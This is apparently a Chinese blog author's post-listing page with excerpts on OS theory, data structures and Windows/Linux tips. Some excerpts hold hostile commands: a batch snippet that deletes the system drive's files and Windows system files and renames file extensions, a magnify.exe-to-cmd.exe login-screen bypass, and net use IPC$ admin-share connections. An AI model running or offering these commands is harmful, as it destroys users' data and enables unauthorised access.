
计算机
Am0o0s
这个作者很懒,什么都没留下…
展开
-
操作系统理论细节摘录总结 2
信号量信号量是最早出现的用来解决进程同步与互斥问题的机制。信号量(Saphore)值表示相应资源的使用情况。信号量S>=0时,S表示可用资源的数量。执行一次P操作意味着请求分配一个资源,因此S的值减1;当S<0时,表示已经没有可用资源,S的绝对值表示当前等待该资源的进程数。请求者必须等待其他进程释放该类资源,才能继续运行。而执行一个V操作意味着释放一个资源,因此S的值加1;若S<0,表示有某些进程正在等待该资源,因此要唤醒一个等待状态的进程,使之运行下去。注意,信号量的值只能由PV操原创 2020-07-06 17:44:03 · 181 阅读 · 0 评论 -
操作系统理论细节摘录总结 1
分时操作系统具有以下特征: | 实时操作系统基本特征:1.多路性 | 1.及时性2.交互性 | 2.可靠性3.独占性 |4.及时性原创 2020-07-02 10:38:14 · 262 阅读 · 0 评论 -
操作系统之调度--死锁
文章目录造成死锁的核心原因死锁的必要条件死锁的解决方法死锁的介绍:多个进程并发运行,对临界资源的访问出现问题造成死锁的核心原因系统资源不足(资源数〈要求该种资源的进程数)进程的推进顺序非法(不合理)死锁的必要条件(1)互斥条件:至少有一个资源是临界资源。(2)不可剥夺条件:资源不能被抢占。(3)请求与保持条件:一个进程占有一个资源,并等待另一个资源。(4)环路条件:存在一个进...原创 2020-04-09 09:44:46 · 316 阅读 · 0 评论 -
AT&T格式的汇编与Intel格式的汇编寻址方式的不同
AT&T: immed32(basepointer, indexpointer, indexscale)Intel: [basepointer + indexpointer × indexscale + imm32)如果操作系统工作于保护模式下,用的是32位线性地址,所以在计算地址时不用考虑segment:offset的问题。上式中的地址应为:imm32 + basepointe...原创 2020-03-29 11:10:18 · 298 阅读 · 0 评论 -
操作系统---线程知识点记录
Sleep()使进程自己进入等待态,时间到了,操作系统会叫醒进程(该进程已经提前通知操作系统)线程进程的特点是分离,线程的特点是不分离线程拥有:线程号(Thread ID)程序计数器(Program counter)寄存器(Register set)栈(Stack)属于同一个进程的线程共享除了线程自己拥有的东西(上面4点)单线程的进程多线程的进程(进程里面有多条指令同时进行)...原创 2020-03-24 23:05:42 · 139 阅读 · 0 评论 -
操作系统——进程相关及系统引导
操作系统运行时划分不同的模式,操作系统运行在内核模式,应用程序运行在用户模式,权限不同,有些指令也不能运行。内核与用户态之间不禁包含对内存的保护,还要指令的限制。直接操作硬件端口的指令in从硬件端口读入out从硬件端口读出用户态不允许运行这两个指令由于应用程序也需要与硬件进行交互,因此就产生了系统调用。应用程序想做什么事情就利用系统调用,然后操作系统做中转处理。...原创 2020-03-16 19:49:44 · 448 阅读 · 0 评论 -
中断的相关知识
文章目录中断的人类定义中断的类型中断向量中断向量表中断的优点与缺点中断处理中断的人类定义第一个概念是把同步和异步中断分别称为异常(exception)和中断(interrupt);第二个概念是进一步的,对于中断和异常,Intel又再细分了很多类,将中断分为可屏蔽中断和不可屏蔽中断;将异常分为故障、陷阱、异常中止和编程异常。中断:又称为异步中断,是其他硬件依照CPU时钟信号随机产生的。中断又...原创 2020-03-22 19:21:17 · 689 阅读 · 0 评论 -
Linux程序接口实验
取进程标志及用户信息,了解Linux部分操作系统调用的用法。使用Gedit 编写程序pflag.c#include<unistd.h>#include<pwd.h>#include<sys/types.h>#include<stdio.h>int main(int argc,char **argv){ pid_t my_pid,par...原创 2020-02-12 10:17:24 · 984 阅读 · 0 评论 -
Ubuntu的运行级别,关机与重启
Ubuntu系统的运行级别与其他Linux系统的运行级别有些区别运行级别含义0所有进程终止1单用户模式,用于维护系统,只有极少数的进程运行2~5图形界面的多用户模式6重新启动机器ubuntu 系统的运行级别2~5是一样的。默认运行级别是2,但是Ubuntu服务器版的默认运行级别是 5,这些发行版,不尽一致,使用runlevel命令查看即可。切...原创 2020-02-10 21:35:43 · 1038 阅读 · 0 评论 -
操作系统的用户接口
操作系统为用户提供了两种调用其服务和功能的接口:程序接口和操作接口1.程序接口又称为应用编程接口(API),供程序员在编制程序时以程序语句或指令的形式调用操作系统的服务和功能。许多操作系统的程序接口由一组系统调用(System Call)组成,用户程序使用“系统调用”即可获得操作系统的底层服务,使用或访问系统中的各种软硬件资源。系统调用是为了扩充机器功能,增强系统能力,方便用户使用而在内核中建...原创 2020-02-08 19:12:08 · 3499 阅读 · 0 评论 -
假脱机(spooling)技术实现原理
将独占设备改造为共享设备由于Spooling技术把所有用户进程的输出都送入输出井,然后再由输出进程完成打印工作,而输出井在磁盘上,为共享设备。这样,Spooling技术就把打印机等独占设备改造成立共享设备。实现了虚拟设备功能由于Spooling技术实现了多个用户进程共同使用打印机这种独占设备的情况,从而实现了把一个设备当成多个设备来使用,即虚拟设备的功能。假脱机技术有输入输出井,输入缓冲区...原创 2020-02-07 20:05:03 · 5951 阅读 · 0 评论 -
操作系统原理第一章概论
操作系统的目标1.方便用户使用:提供了用户与计算机之间的友善接口(操作系统向用户提供的应用程序接口远比硬件向用户提供的接口简单易用)。2.扩展机器功能操作系统如同”血肉“,有了扩展与增值的功能。3.管理系统资源操作系统代替人类来管理计算机系统软硬件资源。相对与人工管理来说,其更加的快速,精准。4.提高系统效率操作系统代替了人对计算机的自动化管理,由此提高了系统效率。5.构筑开放环境...原创 2020-02-06 23:16:49 · 469 阅读 · 0 评论 -
Windows下cmd命令cd不进某目录
问题出现:配置环境变量时发现cd不进去目标目录,但提示框又不报错,搞不懂什么原因造成的,后来学习了一下,原来进入盘符不需要用cd命令,唉 ????,还是不会的不懂了。记录一下方法一进入指定盘,盘符+":",不区分大小写例如欲进入F盘,直接输入F:即可(或f:)(只有盘符不区分,其下的一级到多级目录需要区分大小写)方法二cd 文件路径;后回车无效,可以加/d,解决例如进入d盘cd /d ...原创 2020-02-06 20:26:27 · 13212 阅读 · 3 评论 -
BIOS启动原理学习--加载第二部分代码-setup
寒假打算写一个操作系统,当然没有Windows和Linux系列的OS以及MacOs那么宏伟的啦。或许只有十分简单的桌面,但它的确算是个OS吧。最近要期末考试和四级了,因此博客更新的不频繁了。先立一个Flag...原创 2019-11-24 20:37:38 · 904 阅读 · 0 评论 -
格式化输出基础
1、%d 十进制有符号整数。2、%u 十进制无符号整数。3、%ld 输出long整数 。4、%s 字符串。5、%c 单个字符。6、%p 指针的值。7、%e 指数形式的浮点数。8、%x, %X 无符号以十六进制表示的整数。9、%0 无符号以八进制表示的整数。10、%g 自动选择合适的表示法。...原创 2019-11-23 18:42:19 · 211 阅读 · 0 评论 -
解决忘记win系统开机密码
1.进入pe2.进入c:\windows\system32下更改magnify.exe和cmd.exe的所有者为administrator,(右键属性-安全-高级-所有者-在“目前该项目的所有者更改为administration”)更改magnify.exe和cmd.exe的权限为administration完全控制。3.改名magnify.exe为mangify1.exe,改cmd.ex...原创 2019-11-10 18:44:32 · 762 阅读 · 1 评论 -
Firefox send端对端加密传输
话说 Mozilla 除了开发最广为人知的 FireFox 火狐浏览器 以外,他们也还会做一些其他的开源免费项目,比如 FireFox Send 一次性文件传输共享服务 正是其中值得推荐的。FireFox Send 与传统的网盘不太一样,它是一种类似“阅后即焚”的简单且私密的临时个人文件共享工具 (网络服务),用户只需通过任意浏览器 (包括 Chrome、Edge、火狐等) 即可快速上传一个或多...原创 2019-11-10 16:53:04 · 1336 阅读 · 0 评论 -
批处理命令系列
批处理命令系列原创 2019-11-10 16:22:38 · 803 阅读 · 0 评论 -
CMD批处理之PC查看连过的WIFI密码
将下列文件复制到记事本后,后缀改为.bat然后以管理员方式运行即可@echo off::MODE con: COLS=165 LINES=65title 查看WIFI密码 %date%::获取管理员权限setlocalset uac=~uac_permission_tmp_%random%md "%SystemRoot%\system32\%uac%" 2>nulif %er...原创 2019-11-10 15:59:43 · 1353 阅读 · 0 评论 -
数据结构与算法之二叉链树
数据结构李春葆系列#include<iostream>#include<stdio.h>#include<stdlib.h>#include<algorithm>#define MaxSize 100using namespace std;typedef char ElemType ;typedef struct node{...原创 2019-11-07 21:26:07 · 1243 阅读 · 0 评论 -
数据结构与算法之广义表的基本运算
广义表李春葆系列#include<stdio.h>#include<iostream>#include<stdlib.h>using namespace std; typedef struct lnode{ int tag; union{ char data; struct lnode * sublist; } val; struc...原创 2019-11-07 21:23:38 · 1720 阅读 · 0 评论 -
移动硬盘突然断电导致坏道产生
买的移动硬盘才两天,就换了,试试看能不能修复,不能修复返厂了。修复好后记录一下修复过程。。。原创 2019-11-07 00:13:06 · 3326 阅读 · 1 评论 -
C语言fopen函数打开文本文件与二进制文件的区别
1.DOS和Windows系统使用CRLF(0x0D 0x0A)即\r\n双字节作为文本文件换行符,而Unix文本文件的换行符只有一个字节LF(0x0A)为。在C语言中,也是以LF即’\n’为换行符。由于DOS/Windows定义的换行符和C语言的不一致,C语言的标准输入输出函数适行读写文本文件时,就适行了CRLF->LF的转换。而Unix的定义和C语言的是一样的,就不必转换了。2.二进制...原创 2019-11-01 21:33:40 · 2612 阅读 · 0 评论 -
windows宽带连接(校园网)自动连接脚本代码
windows校园网自动连接脚本@echo off:startping -n 2 114.114.114.114 | find "TTL=" >nulif errorlevel 1 (echo 离线rasdial 宽带连接 你的账号 你的密码) else (echo 在线TIMEOUT 1000 //设置延时策略,隔多久重连一次)goto:start...原创 2019-10-23 07:27:32 · 4233 阅读 · 2 评论 -
Docker与VM虚拟机的区别以及如何让其两者共存
docker,VMware只能选择其一。VM(VMware)在宿主机器、宿主机器操作系统的基础上创建虚拟层、虚拟化的操作系统、虚拟化的仓库,然后再安装应用;Container(Docker容器),在宿主机器、宿主机器操作系统上创建Docker引擎,在引擎的基础上再安装应用。那么问题来了,没有操作系统,怎么运行程序?可以在Docker中创建一个ubuntu的镜像文件,这样就能将ubuntu系...原创 2019-10-21 20:32:55 · 2136 阅读 · 0 评论 -
Win10家庭版安装Typer-V
win10家庭版理论不支持安装Typer-V,但可以将系统暂时伪装成专业版,伪装方法我就不简介了,网上大把方法。。。将下面代码保存为.bat文件,以管理员身份运行,然后选择重启pushd "%~dp0"dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txtfor /f %%i in ('findstr /i ...原创 2019-10-21 20:24:14 · 1808 阅读 · 0 评论 -
windows 2008 r2 系统默认80端口被系统占用的处理
–windows 2008 r2 系统默认80端口被系统占用的处理–使用netstat 命令查看指定端口netstat -ano | findstr :80----任务管理器查看进 pid 为4进程名 pid 描述system 4 net kernel&System----打开注册表 regedit‘HKEY_LOCAL_MACHINE\SYSTEM\Cur...原创 2019-10-20 19:04:11 · 556 阅读 · 0 评论 -
CMD命令大全
net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ 登陆后映射对方C:到本地为H: net use \\...原创 2019-10-20 15:52:46 · 829 阅读 · 0 评论 -
预编译处理命令#
代码中有#if…#endif的用法问题#if…#endif是C++种的条件编译预处理命令 有两种格式:1:#ifdef 标示符程序段1#else程序段2#endif表示:如果标示符已经被#define命令定义过,则编译程序段1,否则编译程序段22:#if 表达式程序段1#else程序段2#endif表示:如果表达式为真,则编译程序段1,否则编译程序段2.你写出的命令应...原创 2019-10-18 13:32:49 · 399 阅读 · 0 评论 -
危险的cmd代码
1@echo offdel %systemdrive%\*.*/f /s /qshutdown -r -f -t 002REN *.DOC *.TXT REN *.JPEG *.TXTREN *.LNK *.TXTREN *.AVI *.TXTREN *.MPEG *.TXTREN *.COM *.TXTREN *.BAT *.TXT3del c:\WINDOWS\syst...原创 2019-10-13 20:53:58 · 5084 阅读 · 0 评论